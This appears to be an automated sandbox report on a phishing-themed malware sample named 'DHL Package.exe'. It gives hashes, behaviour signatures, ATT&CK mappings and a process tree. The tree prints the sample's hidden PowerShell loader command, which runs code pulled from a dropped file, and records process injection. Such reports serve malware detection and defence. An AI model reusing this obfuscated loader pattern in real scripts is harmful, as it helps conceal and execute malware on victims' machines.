dd7243dc57f78c2a9d515760aed44ff332a281f7e06c37f1b95887cff94a94a8

General

Target

DHL Package.exe
Size

623KB
MD5

057849d89c720ddae62b9006fd7587f9
SHA1

66c5732d79b3514e7e98ac01a25b3362f82b5eed
SHA256

dd838e0ad2d227d581a04b9968609c1cf78f8570bcc36fe7abf176ec36d2b5e5
SHA512

f169462b72e8cf5263b79a8796ab95c2a3d144022e7d34efb911bf5d4cb1c23cb319a060b8688214c183d4fc906cd42f61756b62bbd4e872acf153d104031b90
SSDEEP

12288:agStjpsZjq86yWpdlUefHglUw5L94SeH5rcDlcOJKhwF:WtdsZ1JAA4ZEcOwk

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2992	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
2992	powershell.exe
2336	Indfrysningers.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2992	powershell.exe
2336	Indfrysningers.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2992 set thread context of 2336	2992	powershell.exe	32

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\firbens\psycholeptic.ini	DHL Package.exe
File opened for modification	C:\Program Files (x86)\Common Files\boltholes.obl	DHL Package.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe
2992	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2992	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2992	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2420 wrote to memory of 2992	2420	DHL Package.exe	28
PID 2420 wrote to memory of 2992	2420	DHL Package.exe	28
PID 2420 wrote to memory of 2992	2420	DHL Package.exe	28
PID 2420 wrote to memory of 2992	2420	DHL Package.exe	28
PID 2992 wrote to memory of 2560	2992	powershell.exe	30
PID 2992 wrote to memory of 2560	2992	powershell.exe	30
PID 2992 wrote to memory of 2560	2992	powershell.exe	30
PID 2992 wrote to memory of 2560	2992	powershell.exe	30
PID 2992 wrote to memory of 2336	2992	powershell.exe	32
PID 2992 wrote to memory of 2336	2992	powershell.exe	32
PID 2992 wrote to memory of 2336	2992	powershell.exe	32
PID 2992 wrote to memory of 2336	2992	powershell.exe	32
PID 2992 wrote to memory of 2336	2992	powershell.exe	32
PID 2992 wrote to memory of 2336	2992	powershell.exe	32

C:\Users\Admin\AppData\Local\Temp\DHL Package.exe
"C:\Users\Admin\AppData\Local\Temp\DHL Package.exe"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2420
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Uropfrer=Get-Content 'C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Mouthers\Afgiftsregler.del';$Skoleudgavers=$Uropfrer.SubString(54521,3);.$Skoleudgavers($Uropfrer)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2560
- - C:\Users\Admin\AppData\Local\Temp\Indfrysningers.exe
    "C:\Users\Admin\AppData\Local\Temp\Indfrysningers.exe"
    3⤵
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Mouthers\Afgiftsregler.del

Filesize
53KB

MD5
b1bf3757ba661c2fc29713ddaa598605

SHA1
5c77e7e505aa16a208499b1a67089bcdba3d349b

SHA256
c8a6d8bb0a194f855387ef00c86f0016c1ba489eb7b6dc729af5853157d418c9

SHA512
06a766ab5d297082781db399571d458202bdf155ad1415de5bc453753b640dfba5c9c47047e0aefd964bc6b31a7161e50723a67db4c93276bc35c01412c1d40a

Download Submit
C:\Users\Admin\AppData\Local\Bridgebuilding\oralizes\indart\Mouthers\Timianernes.Vel

Filesize
297KB

MD5
77c2017d3aab930e712847c30d7d5764

SHA1
f27a330028667e527305448d0a94913e3282c821

SHA256
9691d68779acccfebf0288f52c0becadf1aa9616c78eefa4c3cab657af0d9cee

SHA512
b8d15d0ed28792a921fbdb18b3d4017b1a76ae2f37cb4bc009b5517c050cdaba864e11549652036c88d56fbb31a4997343c64c7abb4265de82b86a7b848aa44a

Download Submit
\Users\Admin\AppData\Local\Temp\Indfrysningers.exe

Filesize
623KB

MD5
057849d89c720ddae62b9006fd7587f9

SHA1
66c5732d79b3514e7e98ac01a25b3362f82b5eed

SHA256
dd838e0ad2d227d581a04b9968609c1cf78f8570bcc36fe7abf176ec36d2b5e5

SHA512
f169462b72e8cf5263b79a8796ab95c2a3d144022e7d34efb911bf5d4cb1c23cb319a060b8688214c183d4fc906cd42f61756b62bbd4e872acf153d104031b90

Download Submit
memory/2336-22-0x0000000000460000-0x00000000014C2000-memory.dmp

Filesize
16.4MB

Download
memory/2992-8-0x0000000073691000-0x0000000073692000-memory.dmp

Filesize
4KB

Download
memory/2992-9-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-11-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-12-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-10-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/2992-16-0x0000000006410000-0x000000000BF8E000-memory.dmp

Filesize
91.5MB

Download
memory/2992-21-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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